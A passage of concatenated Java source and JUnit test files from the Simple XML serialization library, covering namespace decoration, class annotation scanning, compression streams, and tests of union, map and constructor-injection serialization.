assertTrue("Did not fail", failure);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/NamespaceDecorator.java<|end_filename|>
/*
* NamespaceDecorator.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.stream.NamespaceMap;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>NamespaceDecorator</code> object is used to decorate
* any output node with namespaces. All namespaces added to this are
* applied to nodes that require decoration. This can add namespaces
* to the node as well as setting the primary namespace reference
* for the node. This results in qualification for the node.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Qualifier
*/
class NamespaceDecorator implements Decorator {
/**
* This is used to contain the namespaces used for scoping.
*/
private List<Namespace> scope;
/**
* This is used to set the primary namespace reference used.
*/
private Namespace primary;
/**
* Constructor for the <code>NamespaceDecorator</code> object. A
* namespace decorator can be used for applying namespaces to a
* specified node. It can add namespaces to set the scope of the
* namespace reference to the node and it can also be used to set
* the primary namespace reference used for the node.
*/
public NamespaceDecorator() {
this.scope = new ArrayList<Namespace>();
}
/**
* This is used to set the primary namespace for nodes that will
* be decorated by the namespace decorator. If no namespace is set
* using this method then this decorator will leave the namespace
* reference unchanged and only add namespaces for scoping.
*
* @param namespace this is the primary namespace to be set
*/
public void set(Namespace namespace) {
if(namespace != null) {
add(namespace);
}
primary = namespace;
}
/**
* This is used to add a namespace to the decorator so that it can
* be added to decorated nodes. Namespaces that are added will be
* set on the element so that child elements can reference the
* namespace and will thus inherit the prefix from that elment.
*
* @param namespace this is the namespace to be added for scoping
*/
public void add(Namespace namespace) {
scope.add(namespace);
}
/**
* This method is used to decorate the provided node. This node
* can be either an XML element or an attribute. Decorations that
* can be applied to the node by invoking this method include
* things like comments and namespaces.
*
* @param node this is the node that is to be decorated by this
*/
public void decorate(OutputNode node) {
decorate(node, null);
}
/**
* This method is used to decorate the provided node. This node
* can be either an XML element or an attribute. Decorations that
* can be applied to the node by invoking this method include
* things like namespaces and namespace lists. This can also be
* given another <code>Decorator</code> which is applied before
* this decorator, any common data can then be overwritten.
*
* @param node this is the node that is to be decorated by this
* @param decorator this is a secondary decorator to be applied
*/
public void decorate(OutputNode node, Decorator decorator) {
if(decorator != null) {
decorator.decorate(node);
}
scope(node);
namespace(node);
}
/**
* This is use to apply for <code>NamespaceList</code> annotations
* on the node. If there is no namespace list then this will return
* and the node will be left unchanged. If however the namespace
* list is not empty the the namespaces are added.
*
* @param node this is the node to apply the namespace list to
*/
private void scope(OutputNode node) {
NamespaceMap map = node.getNamespaces();
for(Namespace next : scope) {
String reference = next.reference();
String prefix = next.prefix();
map.setReference(reference, prefix);
}
}
/**
* This is use to apply the <code>Namespace</code> annotations on
* the node. If there is no namespace then this will return and
* the node will be left unchanged. If however the namespace is
* not null then the reference is applied to the specified node.
*
* @param node this is the node to apply the namespace to
*/
private void namespace(OutputNode node) {
if(primary != null) {
String reference = primary.reference();
node.setReference(reference);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/GregorianCalendarTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.util.Date;
import java.util.GregorianCalendar;
import org.simpleframework.xml.transform.GregorianCalendarTransform;
import junit.framework.TestCase;
public class GregorianCalendarTransformTest extends TestCase {
public void testGregorianCalendar() throws Exception {
GregorianCalendar date = new GregorianCalendar();
GregorianCalendarTransform format = new GregorianCalendarTransform();
date.setTime(new Date());
String value = format.write(date);
GregorianCalendar copy = format.read(value);
assertEquals(date, copy);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/EmptyMatcher.java<|end_filename|>
/*
* EmptyMatcher.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
/**
* The <code>EmptyMatcher</code> object is used as a delegate type
* that is used when no user specific matcher is specified. This
* ensures that no transform is resolved for a specified type, and
* allows the normal resolution of the stock transforms.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.Transformer
*/
class EmptyMatcher implements Matcher {
/**
* This method is used to return a null value for the transform.
* Returning a null value allows the normal resolution of the
* stock transforms to be used when no matcher is specified.
*
* @param type this is the type that is expecting a transform
*
* @return this transform will always return a null value
*/
public Transform match(Class type) throws Exception {
return null;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DefaultEmptyTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class DefaultEmptyTest extends ValidationTestCase {
private static final String SOURCE =
"<defaultExample name='test'>\n" +
" <text>some text</text>\n"+
"</defaultExample>";
@Root
private static class DefaultExample {
@ElementList(empty=false, required=false)
private List<String> stringList;
@ElementMap(empty=false, required=false)
private Map<String, String> stringMap;
@ElementArray(empty=false, required=false)
private String[] stringArray;
@Attribute
private String name;
@Element
private String text;
public DefaultExample() {
super();
}
public DefaultExample(String name, String text) {
this.name = name;
this.text = text;
}
}
public void testDefaults() throws Exception {
Persister persister = new Persister();
DefaultExample example = persister.read(DefaultExample.class, SOURCE);
assertEquals(example.name, "test");
assertEquals(example.text, "some text");
assertNotNull(example.stringList);
assertNotNull(example.stringMap);
assertNotNull(example.stringArray);
persister.write(example, System.out);
validate(persister, example);
persister.write(new DefaultExample("name", "example text"), System.out);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/BigDecimalTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.math.BigDecimal;
import org.simpleframework.xml.transform.BigDecimalTransform;
import junit.framework.TestCase;
public class BigDecimalTransformTest extends TestCase {
public void testBigDecimal() throws Exception {
BigDecimal decimal = new BigDecimal("1.1");
BigDecimalTransform format = new BigDecimalTransform();
String value = format.write(decimal);
BigDecimal copy = format.read(value);
assertEquals(decimal, copy);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MetadataSerializationTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
/**
* @author <a href="<EMAIL>"><NAME></a>
*/
public class MetadataSerializationTest extends ValidationTestCase {
/**
* @author <a href="<EMAIL>"><NAME></a>
*/
public static class A {
private final Set<B> setOfB;
private final Set<C> setOfC;
public A(@ElementList(name = "setOfB", required = false) Set<B> setOfB,
@ElementList(name = "setOfC", required = false) Set<C> setOfC) {
this.setOfB = setOfB;
this.setOfC = setOfC;
}
@ElementList(name="setOfB", required = false)
public Set<B> getSetOfB() {
return setOfB;
}
@ElementList(name="setOfC", required = false)
public Set<C> getSetOfC() {
return setOfC;
}
}
/**
* @author <a href="<EMAIL>"><NAME></a>
*/
public static class B {
private final String name;
public B(@Attribute(name="name") String name) {
this.name = name;
}
@Attribute(name="name")
public String getName() {
return name;
}
}
/**
* @author <a href="<EMAIL>"><NAME></a>
*/
public static class C {
private final String name;
public C(@Attribute(name="name") String name) {
this.name = name;
}
@Attribute(name="name")
public String getName() {
return name;
}
}
public void testWriteA() throws Exception {
A a = new A(
new HashSet<B>(Arrays.asList(new B("bbb"))),
new HashSet<C>(Arrays.asList(new C("ccc"))));
Serializer serializer = new Persister();
StringWriter writer = new StringWriter();
serializer.write(a, writer);
System.out.println(writer.getBuffer().toString());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionListTaskTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.File;
import java.util.LinkedList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ValidationTestCase;
public class UnionListTaskTest extends ValidationTestCase {
public static interface Operation {
public void execute();
}
@Default
public static class Delete implements Operation {
private File file;
public Delete(@Element(name="file") File file) {
this.file = file;
}
public void execute() {
file.delete();
}
}
@Default
public static class MakeDirectory implements Operation {
private File path;
private MakeDirectory(@Element(name="path") File path) {
this.path = path;
}
public void execute() {
path.mkdirs();
}
}
@Default
public static class Move implements Operation {
private File source;
private File destination;
public Move(
@Element(name="source") File source,
@Element(name="destination") File destination)
{
this.source = source;
this.destination = destination;
}
public void execute() {
source.renameTo(destination);
}
}
@Root
private static class Task {
@ElementListUnion({
@ElementList(entry="delete", inline=true, type=Delete.class),
@ElementList(entry="mkdir", inline=true, type=MakeDirectory.class),
@ElementList(entry="move", inline=true, type=Move.class)
})
private List<Operation> operations;
@Attribute
private String name;
public Task(@Attribute(name="name") String name) {
this.operations = new LinkedList<Operation>();
this.name = name;
}
public void add(Operation operation) {
operations.add(operation);
}
public void execute() {
for(Operation operation : operations) {
operation.execute();
}
}
}
public void testUnion() throws Exception {
Persister persister = new Persister();
Task task = new Task("setup");
task.add(new Delete(new File("C:\\workspace\\classes")));
task.add(new MakeDirectory(new File("C:\\workspace\\classes")));
task.add(new Move(new File("C:\\worksace\\classes"), new File("C:\\workspace\\build")));
persister.write(task, System.out);
validate(persister, task);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/DetailScanner.java<|end_filename|>
/*
* DetailScanner.java July 2012
*
* Copyright (C) 2012, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.LinkedList;
import java.util.List;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Root;
/**
* The <code>DetailScanner</code> is used to scan a class for methods
* and fields as well as annotations. Scanning a type in this way
* ensures that all its details can be extracted and cached in one
* place. This greatly improves performance on platforms that do not
* cache reflection well, like Android.
*
* @author <NAME>
*/
class DetailScanner implements Detail {
/**
* This contains a list of methods that are extracted for this.
*/
private List<MethodDetail> methods;
/**
* This contains a list of fields that are extracted for this.
*/
private List<FieldDetail> fields;
/**
* This represents the namespace list declared on the type.
*/
private NamespaceList declaration;
/**
* This represents the namespace annotation declared on the type.
*/
private Namespace namespace;
/**
* This represents all the annotations declared for the type.
*/
private Annotation[] labels;
/**
* This represents the access type override declared or the type.
*/
private DefaultType override;
/**
* This represents the default access type declared or the type.
*/
private DefaultType access;
/**
* This is the order annotation that is declared for the type.
*/
private Order order;
/**
* This is the root annotation that is declared for the type.
*/
private Root root;
/**
* This is the type that is represented by this instance.
*/
private Class type;
/**
* This represents the name of the type used for XML elements.
*/
private String name;
/**
* This is used to determine if the default type is required.
*/
private boolean required;
/**
* This is used to determine if strict XML parsing is done.
*/
private boolean strict;
/**
* Constructor for the <code>DetailScanner</code> object. This is
* used to create a detail object from a type. All of the methods
* fields and annotations are extracted so that they can be used
* many times over without the need to process them again.
*
* @param type this is the type to scan for various details
*/
public DetailScanner(Class type) {
this(type, null);
}
/**
* Constructor for the <code>DetailScanner</code> object. This is
* used to create a detail object from a type. All of the methods
* fields and annotations are extracted so that they can be used
* many times over without the need to process them again.
*
* @param type this is the type to scan for various details
* @param override this is the override used for this detail
*/
public DetailScanner(Class type, DefaultType override) {
this.methods = new LinkedList<MethodDetail>();
this.fields = new LinkedList<FieldDetail>();
this.labels = type.getDeclaredAnnotations();
this.override = override;
this.strict = true;
this.type = type;
this.scan(type);
}
/**
* This is used to determine if the generated annotations are
* required or not. By default generated parameters are required.
* Setting this to false means that null values are accepted
* by all defaulted fields or methods depending on the type.
*
* @return this is used to determine if defaults are required
*/
public boolean isRequired() {
return required;
}
/**
* This method is used to determine whether strict mappings are
* required. Strict mapping means that all labels in the class
* schema must match the XML elements and attributes in the
* source XML document. When strict mapping is disabled, then
* XML elements and attributes that do not exist in the schema
* class will be ignored without breaking the parser.
*
* @return true if strict parsing is enabled, false otherwise
*/
public boolean isStrict() {
return strict;
}
/**
* This is used to determine whether this detail represents a
* primitive type. A primitive type is any type that does not
* extend <code>Object</code>, examples are int, long and double.
*
* @return this returns true if no XML annotations were found
*/
public boolean isPrimitive() {
return type.isPrimitive();
}
/**
* This is used to determine if the class is an inner class. If
* the class is a inner class and not static then this returns
* false. Only static inner classes can be instantiated using
* reflection as they do not require a "this" argument.
*
* @return this returns true if the class is a static inner
*/
public boolean isInstantiable() {
int modifiers = type.getModifiers();
if(Modifier.isStatic(modifiers)) {
return true;
}
return !type.isMemberClass();
}
/**
* This returns the <code>Root</code> annotation for the class.
* The root determines the type of deserialization that is to
* be performed and also contains the name of the root element.
*
* @return this returns the name of the object being scanned
*/
public Root getRoot() {
return root;
}
/**
* This returns the name of the class processed by this scanner.
* The name is either the name as specified in the last found
* <code>Root</code> annotation, or if a name was not specified
* within the discovered root then the Java Bean class name of
* the last class annotated with a root annotation.
*
* @return this returns the name of the object being scanned
*/
public String getName() {
return name;
}
/**
* This returns the type represented by this detail. The type is
* the class that has been scanned for annotations, methods and
* fields. All super types of this are represented in the detail.
*
* @return the type that this detail object represents
*/
public Class getType() {
return type;
}
/**
* This returns the order annotation used to determine the order
* of serialization of attributes and elements. The order is a
* class level annotation that can be used only once per class
* XML schema. If none exists then this will return null.
* of the class processed by this scanner.
*
* @return this returns the name of the object being scanned
*/
public Order getOrder() {
return order;
}
/**
* This returns the <code>DefaultType</code> override used for this
* detail. An override is used only when the class contains no
* annotations and does not have a <code>Transform</code> of any
* type associated with it. It allows serialization of external
* objects without the need to annotate the types.
*
* @return this returns the access type override for this type
*/
public DefaultType getOverride() {
return override;
}
/**
* This returns the <code>Default</code> annotation access type
* that has been specified by this. If no default annotation has
* been declared on the type then this will return null.
*
* @return this returns the default access type for this type
*/
public DefaultType getAccess() {
if(override != null) {
return override;
}
return access;
}
/**
* This returns the <code>Namespace</code> annotation that was
* declared on the type. If no annotation has been declared on the
* type this will return null as not belonging to any.
*
* @return this returns the namespace this type belongs to, if any
*/
public Namespace getNamespace() {
return namespace;
}
/**
* This returns the <code>NamespaceList</code> annotation that was
* declared on the type. A list of namespaces are used to simply
* declare the namespaces without specifically making the type
* belong to any of the declared namespaces.
*
* @return this returns the namespace declarations, if any
*/
public NamespaceList getNamespaceList() {
return declaration;
}
/**
* This returns a list of the methods that belong to this type.
* The methods here do not include any methods from the super
* types and simply provides a means of caching method data.
*
* @return returns the list of methods declared for the type
*/
public List<MethodDetail> getMethods() {
return methods;
}
/**
* This returns a list of the fields that belong to this type.
* The fields here do not include any fields from the super
* types and simply provides a means of caching method data.
*
* @return returns the list of fields declared for the type
*/
public List<FieldDetail> getFields() {
return fields;
}
/**
* This returns the annotations that have been declared for this
* type. It is preferable to acquire the declared annotations
* from this method as they are cached. Older versions of some
* runtime environments, particularly Android, are slow at this.
*
* @return this returns the annotations associated with this
*/
public Annotation[] getAnnotations() {
return labels;
}
/**
* This returns the constructors that have been declared for this
* type. It is preferable to acquire the declared constructors
* from this method as they are cached. Older versions of some
* runtime environments, particularly Android, are slow at this.
*
* @return this returns the constructors associated with this
*/
public Constructor[] getConstructors() {
return type.getDeclaredConstructors();
}
/**
* This is used to acquire the super type for the class that is
* represented by this detail. If the super type for the class
* is <code>Object</code> then this will return null.
*
* @return returns the super type for this class or null
*/
public Class getSuper() {
Class base = type.getSuperclass();
if(base == Object.class) {
return null;
}
return base;
}
/**
* This method is used to scan the type for all of its annotations
* as well as its methods and fields. Everything that is scanned
* is cached within the instance to ensure that it can be reused
* when ever an object of this type is to be scanned.
*
* @param type this is the type to scan for details
*/
private void scan(Class type) {
methods(type);
fields(type);
extract(type);
}
/**
* This method is used to extract the annotations associated with
* the type. Annotations extracted include the <code>Root</code>
* annotation and the <code>Namespace</code> annotation as well as
* other annotations that are used to describe the type.
*
* @param type this is the type to extract the annotations from
*/
private void extract(Class type) {
for(Annotation label : labels) {
if(label instanceof Namespace) {
namespace(label);
}
if(label instanceof NamespaceList) {
scope(label);
}
if(label instanceof Root) {
root(label);
}
if(label instanceof Order) {
order(label);
}
if(label instanceof Default) {
access(label);
}
}
}
/**
* This is used to scan the type for its declared methods. Scanning
* of the methods in this way allows the detail to prepare a cache
* that can be used to acquire the methods and the associated
* annotations. This improves performance on some platforms.
*
* @param type this is the type to scan for declared annotations
*/
private void methods(Class type) {
Method[] list = type.getDeclaredMethods();
for(Method method : list) {
MethodDetail detail = new MethodDetail(method);
methods.add(detail);
}
}
/**
* This is used to scan the type for its declared fields. Scanning
* of the fields in this way allows the detail to prepare a cache
* that can be used to acquire the fields and the associated
* annotations. This improves performance on some platforms.
*
* @param type this is the type to scan for declared annotations
*/
private void fields(Class type) {
Field[] list = type.getDeclaredFields();
for(Field field : list) {
FieldDetail detail = new FieldDetail(field);
fields.add(detail);
}
}
/**
* This is used to set the optional <code>Root</code> annotation for
* the class. The root can only be set once, so if a super type also
* has a root annotation define it must be ignored.
*
* @param label this is the label used to define the root
*/
private void root(Annotation label) {
if(label != null) {
Root value = (Root)label;
String real = type.getSimpleName();
String text = real;
if(value != null) {
text = value.name();
if(isEmpty(text)) {
text = Reflector.getName(real);
}
strict = value.strict();
root = value;
name = text;
}
}
}
/**
* This method is used to determine if a root annotation value is
* an empty value. Rather than determining if a string is empty
* be comparing it to an empty string this method allows for the
* value an empty string represents to be changed in future.
*
* @param value this is the value to determine if it is empty
*
* @return true if the string value specified is an empty value
*/
private boolean isEmpty(String value) {
return value.length() == 0;
}
/**
* This is used to set the optional <code>Order</code> annotation for
* the class. The order can only be set once, so if a super type also
* has a order annotation define it must be ignored.
*
* @param label this is the label used to define the order
*/
private void order(Annotation label) {
if(label != null) {
order = (Order)label;
}
}
/**
* This is used to set the optional <code>Default</code> annotation for
* the class. The default can only be set once, so if a super type also
* has a default annotation define it must be ignored.
*
* @param label this is the label used to define the defaults
*/
private void access(Annotation label) {
if(label != null) {
Default value = (Default)label;
required = value.required();
access = value.value();
}
}
/**
* This is use to scan for <code>Namespace</code> annotations on
* the class. Once a namespace has been located then it is used to
* populate the internal namespace decorator. This can then be used
* to decorate any output node that requires it.
*
* @param label the XML annotation to scan for the namespace
*/
private void namespace(Annotation label) {
if(label != null) {
namespace = (Namespace)label;
}
}
/**
* This is use to scan for <code>NamespaceList</code> annotations
* on the class. Once a namespace list has been located then it is
* used to populate the internal namespace decorator. This can then
* be used to decorate any output node that requires it.
*
* @param label the XML annotation to scan for namespace lists
*/
private void scope(Annotation label) {
if(label != null) {
declaration = (NamespaceList)label;
}
}
/**
* This is used to return a string representation of the detail.
* The string returned from this is the same that is returned
* from the <code>toString</code> of the type represented.
*
* @return this returns the string representation of the type
*/
public String toString() {
return type.toString();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Marshaller.java<|end_filename|>
package org.simpleframework.xml.core;
public interface Marshaller {
String marshallText(Object value, Class type) throws Exception;
Object unmarshallText(String value, Class type) throws Exception;
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MethodPartFactoryTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.util.List;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
public class MethodPartFactoryTest extends TestCase {
private static interface Bean {
public int getInteger();
public void setInteger(int value);
public List<String> getList();
public void setList(List<String> list);
public Map<String, String> getMap();
public void setMap(Map<String, String> map);
public String[] getArray();
public void setArray(String[] array);
}
public void testMethodPart() throws Exception {
assertTrue(Element.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("getInteger"), new Annotation[0]).getAnnotation().getClass()));
assertTrue(Element.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("setInteger", int.class), new Annotation[0]).getAnnotation().getClass()));
assertTrue(ElementMap.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("getMap"), new Annotation[0]).getAnnotation().getClass()));
assertTrue(ElementMap.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("setMap", Map.class), new Annotation[0]).getAnnotation().getClass()));
assertTrue(ElementList.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("getList"), new Annotation[0]).getAnnotation().getClass()));
assertTrue(ElementList.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("setList", List.class), new Annotation[0]).getAnnotation().getClass()));
assertTrue(ElementArray.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("getArray"), new Annotation[0]).getAnnotation().getClass()));
assertTrue(ElementArray.class.isAssignableFrom(new MethodPartFactory(new DetailScanner(MethodPartFactoryTest.class), new Support()).getInstance(Bean.class.getMethod("setArray", String[].class), new Annotation[0]).getAnnotation().getClass()));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionConstructorInjectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class UnionConstructorInjectionTest extends ValidationTestCase {
@Root
private static class Example {
@ElementUnion({
@Element(name="login"),
@Element(name="account"),
@Element(name="username"),
@Element(name="id"),
@Element(name="name")
})
private final String name;
@ElementUnion({
@Element(name="password"),
@Element(name="value")
})
private String password;
@Attribute
private int age;
public Example(@Element(name="id") String name){
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}
public void setPassword(String password){
this.password = password;
}
public String getPassword(){
return password;
}
public String getName(){
return name;
}
}
@Root
private static class InvalidExample {
@ElementUnion({
@Element(name="login"),
@Element(name="account"),
@Element(name="username"),
@Element(name="id"),
@Element(name="name")
})
private String name;
public InvalidExample(@Element(name="id") int name){
this.name = String.valueOf(name);
}
public String getName(){
return name;
}
}
@Root
private static class InvalidAnnotationExample {
@ElementUnion({
@Element(name="login"),
@Element(name="account"),
@Element(name="username"),
@Element(name="id"),
@Element(name="name")
})
private String name;
public InvalidAnnotationExample(@Attribute(name="id") String name){
this.name = name;
}
public String getName(){
return name;
}
}
public void testConstructorInjection() throws Exception{
Persister persister = new Persister();
Example example = new Example("john.doe");
example.setPassword("<PASSWORD>");
example.setAge(20);
StringWriter writer = new StringWriter();
persister.write(example, writer);
String text = writer.toString();
Example deserialized = persister.read(Example.class, text);
assertEquals(deserialized.getName(), "john.doe");
validate(persister, example);
assertElementExists(text, "/example/login");
assertElementHasValue(text, "/example/login", "john.doe");
assertElementExists(text, "/example/password");
assertElementHasValue(text, "/example/password", "<PASSWORD>");
assertElementHasAttribute(text, "/example", "age", "20");
}
public void testInvalidConstructorInjection() throws Exception{
Persister persister = new Persister();
InvalidExample example = new InvalidExample(10);
StringWriter writer = new StringWriter();
boolean exception = false;
try {
persister.write(example, writer);
}catch(ConstructorException e) {
e.printStackTrace();
exception = true;
}
assertTrue("Type should be respected in union constructors", exception);
}
public void testInvalidAnnotationConstructorInjection() throws Exception{
Persister persister = new Persister();
InvalidAnnotationExample example = new InvalidAnnotationExample("john.doe");
StringWriter writer = new StringWriter();
boolean exception = false;
try {
persister.write(example, writer);
}catch(ConstructorException e) {
e.printStackTrace();
exception = true;
}
assertTrue("Annotation type should be respected in union constructors", exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/EmptyMapEntryTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.HashMap;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.strategy.Strategy;
public class EmptyMapEntryTest extends ValidationTestCase {
/**
*
* @author <NAME>
*/
@Root
public static class SimpleBug1 {
@Element
protected Mojo test1;
public SimpleBug1() {
test1 = new Mojo();
test1.data.put("key1", "value1");
test1.data.put("key2", "value1");
test1.data.put("key3", "");
test1.data.put("key4", "");
test1.data.put("", "");
}
public static class Mojo {
@ElementMap (empty=true) protected HashMap<String, Object> data;
public Mojo() {
data = new HashMap<String, Object>();
}
}
}
/**
* @param args the command line arguments
*/
public void testEmptyMapEntry() throws Exception {
Strategy resolver = new CycleStrategy("id", "ref");
Serializer s = new Persister(resolver);
StringWriter w = new StringWriter();
SimpleBug1 bug1 = new SimpleBug1();
assertEquals(bug1.test1.data.get("key1"), "value1");
assertEquals(bug1.test1.data.get("key2"), "value1");
assertEquals(bug1.test1.data.get("key3"), "");
assertEquals(bug1.test1.data.get(""), "");
s.write(bug1, w);
System.err.println(w.toString());
SimpleBug1 bug2 = s.read(SimpleBug1.class, w.toString());
assertEquals(bug1.test1.data.get("key1"), bug2.test1.data.get("key1"));
assertEquals(bug1.test1.data.get("key2"), bug2.test1.data.get("key2"));
assertEquals(bug2.test1.data.get("key1"), "value1");
assertEquals(bug2.test1.data.get("key2"), "value1");
assertNull(bug2.test1.data.get("key3"));
assertNull(bug2.test1.data.get(null));
validate(s, bug1);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CompressionOutputStream.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.IOException;
import java.io.OutputStream;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
public class CompressionOutputStream extends OutputStream {
private DeflaterOutputStream compressor;
private Deflater deflater;
private OutputStream output;
private Compression compression;
private byte[] temp;
private int count;
public CompressionOutputStream(OutputStream output, Compression compression) {
this.deflater = new Deflater(compression.level);
this.compressor = new DeflaterOutputStream(output, deflater);
this.temp = new byte[1];
this.compression = compression;
this.output = output;
}
@Override
public void write(int octet) throws IOException {
temp[0] = (byte)octet;
write(temp);
}
@Override
public void write(byte[] array, int off, int length) throws IOException {
if(length > 0) {
if(count == 0) {
output.write(compression.code);
}
if(compression.isCompression()) {
compressor.write(array, off, length);
} else {
output.write(array, off, length);
}
count += length;
}
}
@Override
public void flush() throws IOException {
if(compression.isCompression()) {
compressor.flush();
} else {
output.flush();
}
}
@Override
public void close() throws IOException {
if(compression.isCompression()) {
compressor.close();
} else {
output.close();
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/InlineMapTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class InlineMapTest extends ValidationTestCase {
@Root
private static class PrimitiveInlineMap {
@ElementMap(entry="entity", inline=true)
private Map<String, BigDecimal> map;
public PrimitiveInlineMap() {
this.map = new HashMap<String, BigDecimal>();
}
public BigDecimal getValue(String name) {
return map.get(name);
}
}
@Root
private static class PrimitiveInlineAttributeMap {
@ElementMap(entry="entity", attribute=true, inline=true)
private Map<String, BigDecimal> map;
public PrimitiveInlineAttributeMap() {
this.map = new HashMap<String, BigDecimal>();
}
public BigDecimal getValue(String name) {
return map.get(name);
}
}
@Root
private static class PrimitiveInlineAttributeValueMap {
@ElementMap(entry="entity", value="value", attribute=true, inline=true)
private Map<String, BigDecimal> map;
public PrimitiveInlineAttributeValueMap() {
this.map = new HashMap<String, BigDecimal>();
}
public BigDecimal getValue(String name) {
return map.get(name);
}
}
public void testPrimitiveMap() throws Exception {
PrimitiveInlineMap map = new PrimitiveInlineMap();
Serializer serializer = new Persister();
map.map.put("a", new BigDecimal(1.1));
map.map.put("b", new BigDecimal(2.2));
validate(map, serializer);
}
public void testPrimitiveAttributeMap() throws Exception {
PrimitiveInlineAttributeMap map = new PrimitiveInlineAttributeMap();
Serializer serializer = new Persister();
